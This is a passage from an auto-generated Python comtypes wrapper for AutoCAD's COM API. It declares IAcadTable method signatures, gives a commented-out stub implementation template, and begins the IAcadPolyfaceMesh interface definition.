HRESULT, 'GetGridVisibility2',\n ( ['in'], c_int, 'nRow' ),\n ( ['in'], c_int, 'nCol' ),\n ( ['in'], AcGridLineType, 'nGridLineType' ),\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bVisible' )),\n COMMETHOD([dispid(2294)], HRESULT, 'SetGridVisibility2',\n ( ['in'], c_int, 'nRow' ),\n ( ['in'], c_int, 'nCol' ),\n ( ['in'], AcGridLineType, 'nGridLineType' ),\n ( ['in'], VARIANT_BOOL, 'bVisible' )),\n COMMETHOD([dispid(2295)], HRESULT, 'GetGridDoubleLineSpacing',\n ( ['in'], c_int, 'nRow' ),\n ( ['in'], c_int, 'nCol' ),\n ( ['in'], AcGridLineType, 'nGridLineType' ),\n ( ['out', 'retval'], POINTER(c_double), 'pValue' )),\n COMMETHOD([dispid(2296)], HRESULT, 'SetGridDoubleLineSpacing',\n ( ['in'], c_int, 'nRow' ),\n ( ['in'], c_int, 'nCol' ),\n ( ['in'], AcGridLineType, 'nGridLineType' ),\n ( ['in'], c_double, 'fSpacing' )),\n COMMETHOD([dispid(2308), 'propput'], HRESULT, 'EnableBreak',\n ( ['in'], VARIANT_BOOL, 'rhs' )),\n COMMETHOD([dispid(2309)], HRESULT, 'GetBreakHeight',\n ( ['in'], c_int, 'nIndex' ),\n ( ['out', 'retval'], POINTER(c_double), 'pHeight' )),\n COMMETHOD([dispid(2310)], HRESULT, 'SetBreakHeight',\n ( ['in'], c_int, 'nIndex' ),\n ( ['in'], c_double, 'Height' )),\n COMMETHOD([dispid(2311)], HRESULT, 'GetContentType',\n ( ['in'], c_int, 'nRow' ),\n ( ['in'], c_int, 'nCol' ),\n ( ['out', 'retval'], POINTER(AcCellContentType), 'pType' )),\n COMMETHOD([dispid(2324)], HRESULT, 'GetMargin',\n ( ['in'], c_int, 'nRow' ),\n ( ['in'], c_int, 'nCol' ),\n ( ['in'], AcCellMargin, 'nMargin' ),\n ( ['out', 'retval'], POINTER(c_double), 'pValue' )),\n COMMETHOD([dispid(2326)], HRESULT, 'SetMargin',\n ( ['in'], c_int, 'nRow' ),\n ( ['in'], c_int, 'nCol' ),\n ( ['in'], AcCellMargin, 'nMargins' ),\n ( ['in'], c_double, 'fMargin' )),\n COMMETHOD([dispid(2327)], HRESULT, 'GetContentLayout',\n ( ['in'], c_int, 'row' ),\n ( ['in'], c_int, 'col' ),\n ( ['out', 'retval'], POINTER(AcCellContentLayout), 'pLayout' )),\n COMMETHOD([dispid(2328)], HRESULT, 'SetContentLayout',\n ( ['in'], c_int, 'row' ),\n ( ['in'], c_int, 'col' ),\n ( ['in'], AcCellContentLayout, 'nLayout' )),\n COMMETHOD([dispid(2338)], HRESULT, 'GetOverride',\n ( ['in'], c_int, 'nRow' ),\n ( ['in'], c_int, 'nCol' ),\n ( ['in'], c_int, 'nContent' ),\n ( ['out', 'retval'], POINTER(AcCellProperty), 'pValue' )),\n COMMETHOD([dispid(2339)], HRESULT, 'SetOverride',\n ( ['in'], c_int, 'nRow' ),\n ( ['in'], c_int, 'nCol' ),\n ( ['in'], c_int, 'nContent' ),\n ( ['in'], AcCellProperty, 'nProp' )),\n COMMETHOD([dispid(2340)], HRESULT, 'GetGridLineStyle',\n ( ['in'], c_int, 'nRow' ),\n ( ['in'], c_int, 'nCol' ),\n ( ['in'], AcGridLineType, 'nGridLineType' ),\n ( ['out', 'retval'], POINTER(AcGridLineStyle), 'pStyle' )),\n COMMETHOD([dispid(2341)], HRESULT, 'SetGridLineStyle',\n ( ['in'], c_int, 'nRow' ),\n ( ['in'], c_int, 'nCol' ),\n ( ['in'], AcGridLineType, 'nGridLineTypes' ),\n ( ['in'], AcGridLineStyle, 'nLineStyle' )),\n COMMETHOD([dispid(2345)], HRESULT, 'InsertRowsAndInherit',\n ( ['in'], c_int, 'nIndex' ),\n ( ['in'], c_int, 'nInheritFrom' ),\n ( ['in'], c_int, 'nNumRows' )),\n COMMETHOD([dispid(2353)], HRESULT, 'InsertColumnsAndInherit',\n ( ['in'], c_int, 'col' ),\n ( ['in'], c_int, 'nInheritFrom' ),\n ( ['in'], c_int, 'nNumCols' )),\n COMMETHOD([dispid(2354)], HRESULT, 'GetHasFormula',\n ( ['in'], c_int, 'nRow' ),\n ( ['in'], c_int, 'nCol' ),\n ( ['in'], c_int, 'nContent' ),\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bValue' )),\n COMMETHOD([dispid(2355)], HRESULT, 'GetFormula',\n ( ['in'], c_int, 'nRow' ),\n ( ['in'], c_int, 'nCol' ),\n ( ['in'], c_int, 'nContent' ),\n ( ['out', 'retval'], POINTER(BSTR), 'pszFormula' )),\n COMMETHOD([dispid(2356)], HRESULT, 'SetFormula',\n ( ['in'], c_int, 'nRow' ),\n ( ['in'], c_int, 'nCol' ),\n ( ['in'], c_int, 'nContent' ),\n ( ['in'], BSTR, 'pszFormula' )),\n COMMETHOD([dispid(2358)], HRESULT, 'IsContentEditable',\n ( ['in'], c_int, 'nRow' ),\n ( ['in'], c_int, 'nCol' ),\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bValue' )),\n COMMETHOD([dispid(2359)], HRESULT, 'IsFormatEditable',\n ( ['in'], c_int, 'nRow' ),\n ( ['in'], c_int, 'nCol' ),\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bValue' )),\n COMMETHOD([dispid(2360)], HRESULT, 'GetCellState',\n ( ['in'], c_int, 'nRow' ),\n ( ['in'], c_int, 'nCol' ),\n ( ['out', 'retval'], POINTER(AcCellState), 'pCellState' )),\n COMMETHOD([dispid(2361)], HRESULT, 'SetCellState',\n ( ['in'], c_int, 'nRow' ),\n ( ['in'], c_int, 'nCol' ),\n ( ['in'], AcCellState, 'nLock' )),\n COMMETHOD([dispid(2368)], HRESULT, 'EnableMergeAll',\n ( ['in'], c_int, 'nRow' ),\n ( ['in'], c_int, 'nCol' ),\n ( ['in'], VARIANT_BOOL, 'bEnable' )),\n COMMETHOD([dispid(2369)], HRESULT, 'IsMergeAllEnabled',\n ( ['in'], c_int, 'nRow' ),\n ( ['in'], c_int, 'nCol' ),\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bValue' )),\n COMMETHOD([dispid(65520), 'propget'], HRESULT, 'BreaksEnabled',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bEnabled' )),\n COMMETHOD([dispid(65520), 'propput'], HRESULT, 'BreaksEnabled',\n ( ['in'], VARIANT_BOOL, 'bEnabled' )),\n COMMETHOD([dispid(65521), 'propget'], HRESULT, 'RepeatTopLabels',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bEnabled' )),\n COMMETHOD([dispid(65521), 'propput'], HRESULT, 'RepeatTopLabels',\n ( ['in'], VARIANT_BOOL, 'bEnabled' )),\n COMMETHOD([dispid(65522), 'propget'], HRESULT, 'RepeatBottomLabels',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bEnabled' )),\n COMMETHOD([dispid(65522), 'propput'], HRESULT, 'RepeatBottomLabels',\n ( ['in'], VARIANT_BOOL, 'bEnabled' )),\n COMMETHOD([dispid(65523), 'propget'], HRESULT, 'TableBreakFlowDirection',\n ( ['out', 'retval'], POINTER(AcTableFlowDirection), 'pDir' )),\n COMMETHOD([dispid(65523), 'propput'], HRESULT, 'TableBreakFlowDirection',\n ( ['in'], AcTableFlowDirection, 'pDir' )),\n COMMETHOD([dispid(65524), 'propget'], HRESULT, 'AllowManualPositions',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bEnabled' )),\n COMMETHOD([dispid(65524), 'propput'], HRESULT, 'AllowManualPositions',\n ( ['in'], VARIANT_BOOL, 'bEnabled' )),\n COMMETHOD([dispid(65525), 'propget'], HRESULT, 'AllowManualHeights',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bEnabled' )),\n COMMETHOD([dispid(65525), 'propput'], HRESULT, 'AllowManualHeights',\n ( ['in'], VARIANT_BOOL, 'bEnabled' )),\n COMMETHOD([dispid(65526), 'propget'], HRESULT, 'TableBreakHeight',\n ( ['out', 'retval'], POINTER(c_double), 'pHeight' )),\n COMMETHOD([dispid(65526), 'propput'], HRESULT, 'TableBreakHeight',\n ( ['in'], c_double, 'pHeight' )),\n COMMETHOD([dispid(65527), 'propget'], HRESULT, 'BreakSpacing',\n ( ['out', 'retval'], POINTER(c_double), 'pSpacing' )),\n COMMETHOD([dispid(65527), 'propput'], HRESULT, 'BreakSpacing',\n ( ['in'], c_double, 'pSpacing' )),\n COMMETHOD([dispid(65528)], HRESULT, 'GetColumnName',\n ( ['in'], c_int, 'nIndex' ),\n ( ['out', 'retval'], POINTER(BSTR), 'Name' )),\n COMMETHOD([dispid(65529)], HRESULT, 'SetColumnName',\n ( ['in'], c_int, 'nIndex' ),\n ( ['in'], BSTR, 'Name' )),\n COMMETHOD([dispid(65530)], HRESULT, 'SetToolTip',\n ( ['in'], c_int, 'nRow' ),\n ( ['in'], c_int, 'nCol' ),\n ( ['in'], BSTR, 'tip' )),\n]\n################################################################\n## code template for IAcadTable implementation\n##class IAcadTable_Impl(object):\n## def _get(self):\n## '-no docstring-'\n## #return bstrName\n## def _set(self, bstrName):\n## '-no docstring-'\n## StyleName = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return pRows\n## def _set(self, pRows):\n## '-no docstring-'\n## Rows = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return pColumns\n## def _set(self, pColumns):\n## '-no docstring-'\n## Columns = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return pFlow\n## def _set(self, pFlow):\n## '-no docstring-'\n## FlowDirection = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return pWidth\n## def _set(self, pWidth):\n## '-no docstring-'\n## Width = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return pHeight\n## def _set(self, pHeight):\n## '-no docstring-'\n## Height = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return pGap\n## def _set(self, pGap):\n## '-no docstring-'\n## VertCellMargin = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return pGap\n## def _set(self, pGap):\n## '-no docstring-'\n## HorzCellMargin = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return insPoint\n## def _set(self, insPoint):\n## '-no docstring-'\n## InsertionPoint = property(_get, _set, doc = _set.__doc__)\n##\n## def GetColumnWidth(self, col):\n## '-no docstring-'\n## #return pWidth\n##\n## def SetColumnWidth(self, col, Width):\n## '-no docstring-'\n## #return \n##\n## def _set(self, rhs):\n## '-no docstring-'\n## ColumnWidth = property(fset = _set, doc = _set.__doc__)\n##\n## def GetRowHeight(self, row):\n## '-no docstring-'\n## #return pHeight\n##\n## def SetRowHeight(self, row, Height):\n## '-no docstring-'\n## #return \n##\n## def _set(self, rhs):\n## '-no docstring-'\n## RowHeight = property(fset = _set, doc = _set.__doc__)\n##\n## def GetMinimumColumnWidth(self, col):\n## '-no docstring-'\n## #return pWidth\n##\n## def GetMinimumRowHeight(self, row):\n## '-no docstring-'\n## #return pHeight\n##\n## @property\n## def MinimumTableWidth(self):\n## '-no docstring-'\n## #return pWidth\n##\n## @property\n## def MinimumTableHeight(self):\n## '-no docstring-'\n## #return pHeight\n##\n## def _get(self):\n## '-no docstring-'\n## #return DirectionVector\n## def _set(self, DirectionVector):\n## '-no docstring-'\n## Direction = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bValue\n## def _set(self, bValue):\n## '-no docstring-'\n## TitleSuppressed = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bValue\n## def _set(self, bValue):\n## '-no docstring-'\n## HeaderSuppressed = property(_get, _set, doc = _set.__doc__)\n##\n## def GetAlignment(self, rowType):\n## '-no docstring-'\n## #return pCellAlignment\n##\n## def SetAlignment(self, rowTypes, cellAlignment):\n## '-no docstring-'\n## #return \n##\n## def GetBackgroundColorNone(self, rowType):\n## '-no docstring-'\n## #return bValue\n##\n## def SetBackgroundColorNone(self, rowTypes, bValue):\n## '-no docstring-'\n## #return \n##\n## def GetBackgroundColor(self, rowType):\n## '-no docstring-'\n## #return pColor\n##\n## def SetBackgroundColor(self, rowTypes, pColor):\n## '-no docstring-'\n## #return \n##\n## def GetContentColor(self, rowType):\n## '-no docstring-'\n## #return pColor\n##\n## def SetContentColor(self, rowTypes, pColor):\n## '-no docstring-'\n## #return \n##\n## def GetTextStyle(self, rowType):\n## '-no docstring-'\n## #return bstrName\n##\n## def SetTextStyle(self, rowTypes, bstrName):\n## '-no docstring-'\n## #return \n##\n## def GetTextHeight(self, rowType):\n## '-no docstring-'\n## #return pTextHeight\n##\n## def SetTextHeight(self, rowTypes, TextHeight):\n## '-no docstring-'\n## #return \n##\n## def GetGridLineWeight(self, gridLineType, rowType):\n## '-no docstring-'\n## #return Lineweight\n##\n## def SetGridLineWeight(self, gridLineTypes, rowTypes, Lineweight):\n## '-no docstring-'\n## #return \n##\n## def GetGridColor(self, gridLineType, rowType):\n## '-no docstring-'\n## #return pColor\n##\n## def SetGridColor(self, gridLineTypes, rowTypes, pColor):\n## '-no docstring-'\n## #return \n##\n## def GetGridVisibility(self, gridLineType, rowType):\n## '-no docstring-'\n## #return bValue\n##\n## def SetGridVisibility(self, gridLineTypes, rowTypes, bValue):\n## '-no docstring-'\n## #return \n##\n## @property\n## def TableStyleOverrides(self):\n## '-no docstring-'\n## #return pIntArray\n##\n## def ClearTableStyleOverrides(self, flag):\n## '-no docstring-'\n## #return \n##\n## def GetCellType(self, row, col):\n## '-no docstring-'\n## #return pCellType\n##\n## def SetCellType(self, row, col, CellType):\n## '-no docstring-'\n## #return \n##\n## def GetCellExtents(self, row, col, bOuterCell):\n## '-no docstring-'\n## #return pPts\n##\n## def GetAttachmentPoint(self, row, col):\n## '-no docstring-'\n## #return pAttachmentPoint\n##\n## def GetCellAlignment(self, row, col):\n## '-no docstring-'\n## #return pCellAlignment\n##\n## def SetCellAlignment(self, row, col, cellAlignment):\n## '-no docstring-'\n## #return \n##\n## def GetCellBackgroundColorNone(self, row, col):\n## '-no docstring-'\n## #return bValue\n##\n## def SetCellBackgroundColorNone(self, row, col, bValue):\n## '-no docstring-'\n## #return \n##\n## def GetCellBackgroundColor(self, row, col):\n## '-no docstring-'\n## #return pColor\n##\n## def SetCellBackgroundColor(self, row, col, pColor):\n## '-no docstring-'\n## #return \n##\n## def GetCellContentColor(self, row, col):\n## '-no docstring-'\n## #return pColor\n##\n## def SetCellContentColor(self, row, col, pColor):\n## '-no docstring-'\n## #return \n##\n## def GetCellStyleOverrides(self, row, col):\n## '-no docstring-'\n## #return pIntArray\n##\n## def DeleteCellContent(self, row, col):\n## '-no docstring-'\n## #return \n##\n## def GetRowType(self, row):\n## '-no docstring-'\n## #return pRowType\n##\n## def GetText(self, row, col):\n## '-no docstring-'\n## #return pStr\n##\n## def SetText(self, row, col, pStr):\n## '-no docstring-'\n## #return \n##\n## def GetCellTextStyle(self, row, col):\n## '-no docstring-'\n## #return bstrName\n##\n## def SetCellTextStyle(self, row, col, bstrName):\n## '-no docstring-'\n## #return \n##\n## def GetCellTextHeight(self, row, col):\n## '-no docstring-'\n## #return pTextHeight\n##\n## def SetCellTextHeight(self, row, col, TextHeight):\n## '-no docstring-'\n## #return \n##\n## def GetTextRotation(self, row, col):\n## '-no docstring-'\n## #return TextRotation\n##\n## def SetTextRotation(self, row, col, TextRotation):\n## '-no docstring-'\n## #return \n##\n## def GetAutoScale(self, row, col):\n## '-no docstring-'\n## #return bValue\n##\n## def SetAutoScale(self, row, col, bValue):\n## '-no docstring-'\n## #return \n##\n## def GetBlockTableRecordId(self, row, col):\n## '-no docstring-'\n## #return blkId\n##\n## def SetBlockTableRecordId(self, row, col, blkId, bAutoFit):\n## '-no docstring-'\n## #return \n##\n## def GetBlockScale(self, row, col):\n## '-no docstring-'\n## #return blkScale\n##\n## def SetBlockScale(self, row, col, blkScale):\n## '-no docstring-'\n## #return \n##\n## def GetBlockRotation(self, row, col):\n## '-no docstring-'\n## #return blkRotation\n##\n## def SetBlockRotation(self, row, col, blkRotation):\n## '-no docstring-'\n## #return \n##\n## def GetBlockAttributeValue(self, row, col, attdefId):\n## '-no docstring-'\n## #return bstrValue\n##\n## def SetBlockAttributeValue(self, row, col, attdefId, bstrValue):\n## '-no docstring-'\n## #return \n##\n## def GetCellGridLineWeight(self, row, col, edge):\n## '-no docstring-'\n## #return plineweight\n##\n## def SetCellGridLineWeight(self, row, col, edges, Lineweight):\n## '-no docstring-'\n## #return \n##\n## def GetCellGridColor(self, row, col, edge):\n## '-no docstring-'\n## #return pColor\n##\n## def SetCellGridColor(self, row, col, edges, pColor):\n## '-no docstring-'\n## #return \n##\n## def GetCellGridVisibility(self, row, col, edge):\n## '-no docstring-'\n## #return bValue\n##\n## def SetCellGridVisibility(self, row, col, edges, bValue):\n## '-no docstring-'\n## #return \n##\n## def InsertColumns(self, col, Width, cols):\n## '-no docstring-'\n## #return \n##\n## def DeleteColumns(self, col, cols):\n## '-no docstring-'\n## #return \n##\n## def InsertRows(self, row, Height, Rows):\n## '-no docstring-'\n## #return \n##\n## def DeleteRows(self, row, Rows):\n## '-no docstring-'\n## #return \n##\n## def MergeCells(self, minRow, maxRow, minCol, maxCol):\n## '-no docstring-'\n## #return \n##\n## def UnmergeCells(self, minRow, maxRow, minCol, maxCol):\n## '-no docstring-'\n## #return \n##\n## def IsMergedCell(self, row, col):\n## '-no docstring-'\n## #return minRow, maxRow, minCol, maxCol, pbValue\n##\n## def GetFieldId(self, row, col):\n## '-no docstring-'\n## #return fieldId\n##\n## def SetFieldId(self, row, col, fieldId):\n## '-no docstring-'\n## #return \n##\n## def GenerateLayout(self):\n## '-no docstring-'\n## #return \n##\n## def RecomputeTableBlock(self, bForceUpdate):\n## '-no docstring-'\n## #return \n##\n## def HitTest(self, wpt, wviewVec):\n## '-no docstring-'\n## #return resultRowIndex, resultColumnIndex, bReturn\n##\n## def Select(self, wpt, wvwVec, wvwxVec, wxaper, wyaper, allowOutside):\n## '-no docstring-'\n## #return resultRowIndex, resultColumnIndex\n##\n## def SelectSubRegion(self, wpt1, wpt2, wvwVec, wvwxVec, seltype, bIncludeCurrentSelection):\n## '-no docstring-'\n## #return rowMin, rowMax, colMin, colMax\n##\n## def ReselectSubRegion(self):\n## '-no docstring-'\n## #return \n##\n## def GetSubSelection(self):\n## '-no docstring-'\n## #return rowMin, rowMax, colMin, colMax\n##\n## def SetSubSelection(self, rowMin, rowMax, colMin, colMax):\n## '-no docstring-'\n## #return \n##\n## def ClearSubSelection(self):\n## '-no docstring-'\n## #return \n##\n## @property\n## def HasSubSelection(self):\n## '-no docstring-'\n## #return pbValue\n##\n## def _get(self):\n## '-no docstring-'\n## #return bValue\n## def _set(self, bValue):\n## '-no docstring-'\n## RegenerateTableSuppressed = property(_get, _set, doc = _set.__doc__)\n##\n## def GetDataType(self, rowType):\n## '-no docstring-'\n## #return pDataType, pUnitType\n##\n## def SetDataType(self, rowTypes, dataType, unitType):\n## '-no docstring-'\n## #return \n##\n## def GetFormat(self, rowType):\n## '-no docstring-'\n## #return pFormat\n##\n## def SetFormat(self, rowTypes, pFormat):\n## '-no docstring-'\n## #return \n##\n## def FormatValue(self, row, col, nOption, pVal):\n## '-no docstring-'\n## #return \n##\n## def GetCellDataType(self, row, col):\n## '-no docstring-'\n## #return pDataType, pUnitType\n##\n## def SetCellDataType(self, row, col, dataType, unitType):\n## '-no docstring-'\n## #return \n##\n## def GetCellFormat(self, row, col):\n## '-no docstring-'\n## #return pFormat\n##\n## def SetCellFormat(self, row, col, pFormat):\n## '-no docstring-'\n## #return \n##\n## def GetCellValue(self, row, col):\n## '-no docstring-'\n## #return pVal\n##\n## def SetCellValue(self, row, col, val):\n## '-no docstring-'\n## #return \n##\n## def SetCellValueFromText(self, row, col, val, nOption):\n## '-no docstring-'\n## #return \n##\n## def ResetCellValue(self, row, col):\n## '-no docstring-'\n## #return \n##\n## def IsEmpty(self, nRow, nCol):\n## '-no docstring-'\n## #return bValue\n##\n## def CreateContent(self, nRow, nCol, nIndex):\n## '-no docstring-'\n## #return pInt\n##\n## def MoveContent(self, nRow, nCol, nFromIndex, nToIndex):\n## '-no docstring-'\n## #return \n##\n## def DeleteContent(self, nRow, nCol):\n## '-no docstring-'\n## #return \n##\n## def GetValue(self, nRow, nCol, nContent):\n## '-no docstring-'\n## #return pAcValue\n##\n## def SetValue(self, nRow, nCol, nContent, acValue):\n## '-no docstring-'\n## #return \n##\n## def SetValueFromText(self, nRow, nCol, nContent, szText, nOption):\n## '-no docstring-'\n## #return \n##\n## def GetDataFormat(self, nRow, nCol, nContent):\n## '-no docstring-'\n## #return pValue\n##\n## def SetDataFormat(self, nRow, nCol, nContent, szFormat):\n## '-no docstring-'\n## #return \n##\n## def GetTextString(self, nRow, nCol, nContent):\n## '-no docstring-'\n## #return pTextString\n##\n## def SetTextString(self, nRow, nCol, nContent, Text):\n## '-no docstring-'\n## #return \n##\n## def GetFieldId2(self, nRow, nCol, nContent):\n## '-no docstring-'\n## #return pAcDbObjectId\n##\n## def SetFieldId2(self, nRow, nCol, nContent, acDbObjectId, nflag):\n## '-no docstring-'\n## #return \n##\n## def GetBlockTableRecordId2(self, nRow, nCol, nContent):\n## '-no docstring-'\n## #return pAcDbObjectId\n##\n## def SetBlockTableRecordId2(self, nRow, nCol, nContent, blkId, autoFit):\n## '-no docstring-'\n## #return \n##\n## def GetBlockAttributeValue2(self, nRow, nCol, nContent, blkId):\n## '-no docstring-'\n## #return Value\n##\n## def SetBlockAttributeValue2(self, nRow, nCol, nContent, blkId, Value):\n## '-no docstring-'\n## #return \n##\n## def GetCustomData(self, nRow, nCol, szKey):\n## '-no docstring-'\n## #return pData\n##\n## def SetCustomData(self, nRow, nCol, szKey, data):\n## '-no docstring-'\n## #return \n##\n## def GetCellStyle(self, nRow, nCol):\n## '-no docstring-'\n## #return pCellStyle\n##\n## def SetCellStyle(self, nRow, nCol, szCellStyle):\n## '-no docstring-'\n## #return \n##\n## def GetContentColor2(self, nRow, nCol, nContent):\n## '-no docstring-'\n## #return pColor\n##\n## def SetContentColor2(self, nRow, nCol, nContent, pColor):\n## '-no docstring-'\n## #return \n##\n## def GetDataType2(self, nRow, nCol, nContent):\n## '-no docstring-'\n## #return pDataType, pUnitType\n##\n## def SetDataType2(self, nRow, nCol, nContent, dataType, unitType):\n## '-no docstring-'\n## #return \n##\n## def GetTextStyle2(self, nRow, nCol, nContent):\n## '-no docstring-'\n## #return pbstrStyleName\n##\n## def SetTextStyle2(self, nRow, nCol, nContent, bstrStyleName):\n## '-no docstring-'\n## #return \n##\n## def GetTextHeight2(self, nRow, nCol, nContent):\n## '-no docstring-'\n## #return pHeight\n##\n## def SetTextHeight2(self, nRow, nCol, nContent, Height):\n## '-no docstring-'\n## #return \n##\n## def GetRotation(self, nRow, nCol, nContent):\n## '-no docstring-'\n## #return pValue\n##\n## def SetRotation(self, nRow, nCol, nContent, Value):\n## '-no docstring-'\n## #return \n##\n## def GetAutoScale2(self, nRow, nCol, nContent):\n## '-no docstring-'\n## #return bAutoScale\n##\n## def SetAutoScale2(self, nRow, nCol, nContent, bAutoFit):\n## '-no docstring-'\n## #return \n##\n## def GetScale(self, nRow, nCol, nContent):\n## '-no docstring-'\n## #return pScale\n##\n## def SetScale(self, nRow, nCol, nContent, scale):\n## '-no docstring-'\n## #return \n##\n## def RemoveAllOverrides(self, nRow, nCol):\n## '-no docstring-'\n## #return \n##\n## def GetGridLineWeight2(self, nRow, nCol, nGridLineType):\n## '-no docstring-'\n## #return plineweight\n##\n## def SetGridLineWeight2(self, nRow, nCol, nGridLineType, Lineweight):\n## '-no docstring-'\n## #return \n##\n## def GetGridLinetype(self, nRow, nCol, nGridLineType):\n## '-no docstring-'\n## #return pacDbObjId\n##\n## def SetGridLinetype(self, nRow, nCol, nGridLineType, idLinetype):\n## '-no docstring-'\n## #return \n##\n## def GetGridColor2(self, nRow, nCol, nGridLineType):\n## '-no docstring-'\n## #return pColor\n##\n## def SetGridColor2(self, nRow, nCol, nGridLineType, pColor):\n## '-no docstring-'\n## #return \n##\n## def GetGridVisibility2(self, nRow, nCol, nGridLineType):\n## '-no docstring-'\n## #return bVisible\n##\n## def SetGridVisibility2(self, nRow, nCol, nGridLineType, bVisible):\n## '-no docstring-'\n## #return \n##\n## def GetGridDoubleLineSpacing(self, nRow, nCol, nGridLineType):\n## '-no docstring-'\n## #return pValue\n##\n## def SetGridDoubleLineSpacing(self, nRow, nCol, nGridLineType, fSpacing):\n## '-no docstring-'\n## #return \n##\n## def _set(self, rhs):\n## '-no docstring-'\n## EnableBreak = property(fset = _set, doc = _set.__doc__)\n##\n## def GetBreakHeight(self, nIndex):\n## '-no docstring-'\n## #return pHeight\n##\n## def SetBreakHeight(self, nIndex, Height):\n## '-no docstring-'\n## #return \n##\n## def GetContentType(self, nRow, nCol):\n## '-no docstring-'\n## #return pType\n##\n## def GetMargin(self, nRow, nCol, nMargin):\n## '-no docstring-'\n## #return pValue\n##\n## def SetMargin(self, nRow, nCol, nMargins, fMargin):\n## '-no docstring-'\n## #return \n##\n## def GetContentLayout(self, row, col):\n## '-no docstring-'\n## #return pLayout\n##\n## def SetContentLayout(self, row, col, nLayout):\n## '-no docstring-'\n## #return \n##\n## def GetOverride(self, nRow, nCol, nContent):\n## '-no docstring-'\n## #return pValue\n##\n## def SetOverride(self, nRow, nCol, nContent, nProp):\n## '-no docstring-'\n## #return \n##\n## def GetGridLineStyle(self, nRow, nCol, nGridLineType):\n## '-no docstring-'\n## #return pStyle\n##\n## def SetGridLineStyle(self, nRow, nCol, nGridLineTypes, nLineStyle):\n## '-no docstring-'\n## #return \n##\n## def InsertRowsAndInherit(self, nIndex, nInheritFrom, nNumRows):\n## '-no docstring-'\n## #return \n##\n## def InsertColumnsAndInherit(self, col, nInheritFrom, nNumCols):\n## '-no docstring-'\n## #return \n##\n## def GetHasFormula(self, nRow, nCol, nContent):\n## '-no docstring-'\n## #return bValue\n##\n## def GetFormula(self, nRow, nCol, nContent):\n## '-no docstring-'\n## #return pszFormula\n##\n## def SetFormula(self, nRow, nCol, nContent, pszFormula):\n## '-no docstring-'\n## #return \n##\n## def IsContentEditable(self, nRow, nCol):\n## '-no docstring-'\n## #return bValue\n##\n## def IsFormatEditable(self, nRow, nCol):\n## '-no docstring-'\n## #return bValue\n##\n## def GetCellState(self, nRow, nCol):\n## '-no docstring-'\n## #return pCellState\n##\n## def SetCellState(self, nRow, nCol, nLock):\n## '-no docstring-'\n## #return \n##\n## def EnableMergeAll(self, nRow, nCol, bEnable):\n## '-no docstring-'\n## #return \n##\n## def IsMergeAllEnabled(self, nRow, nCol):\n## '-no docstring-'\n## #return bValue\n##\n## def _get(self):\n## '-no docstring-'\n## #return bEnabled\n## def _set(self, bEnabled):\n## '-no docstring-'\n## BreaksEnabled = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bEnabled\n## def _set(self, bEnabled):\n## '-no docstring-'\n## RepeatTopLabels = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bEnabled\n## def _set(self, bEnabled):\n## '-no docstring-'\n## RepeatBottomLabels = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return pDir\n## def _set(self, pDir):\n## '-no docstring-'\n## TableBreakFlowDirection = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bEnabled\n## def _set(self, bEnabled):\n## '-no docstring-'\n## AllowManualPositions = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bEnabled\n## def _set(self, bEnabled):\n## '-no docstring-'\n## AllowManualHeights = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return pHeight\n## def _set(self, pHeight):\n## '-no docstring-'\n## TableBreakHeight = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return pSpacing\n## def _set(self, pSpacing):\n## '-no docstring-'\n## BreakSpacing = property(_get, _set, doc = _set.__doc__)\n##\n## def GetColumnName(self, nIndex):\n## '-no docstring-'\n## #return Name\n##\n## def SetColumnName(self, nIndex, Name):\n## '-no docstring-'\n## #return \n##\n## def SetToolTip(self, nRow, nCol, tip):\n## '-no docstring-'\n## #return \n##\n\nclass IAcadPolyfaceMesh(IAcadEntity):\n _case_insensitive_ = True\n _iid_ = GUID('{4328430B-0AA0-4949-8770-2264448CBE72}')\n _idlflags_ = ['dual', 'oleautomation']\nIAcadPolyfaceMesh._methods_ = [\n COMMETHOD([dispid(1), 'propput'], HRESULT, 'Coordinates',\n ( ['in'], VARIANT, 'Vertices' )),\n COMMETHOD([dispid(1), 'propget'], HRESULT, 'Coordinates',\n ( ['out', 'retval'], POINTER(VARIANT), 'Vertices' )),\n COMMETHOD([dispid(2), 'nonbrowsable', 'propget'], HRESULT, 'Coordinate',\n ( ['in'], c_int, 'Index' ),\n ( ['out', 'retval'], POINTER(VARIANT), 'pVal' )),\n COMMETHOD([dispid(2), 'nonbrowsable', 'propput'], HRESULT, 'Coordinate',\n ( ['in'], c_int, 'Index' ),\n ( ['in'], VARIANT, 'pVal' )),\n COMMETHOD([dispid(3), 'propget'], HRESULT, 'NumberOfVertices',\n ( ['out', 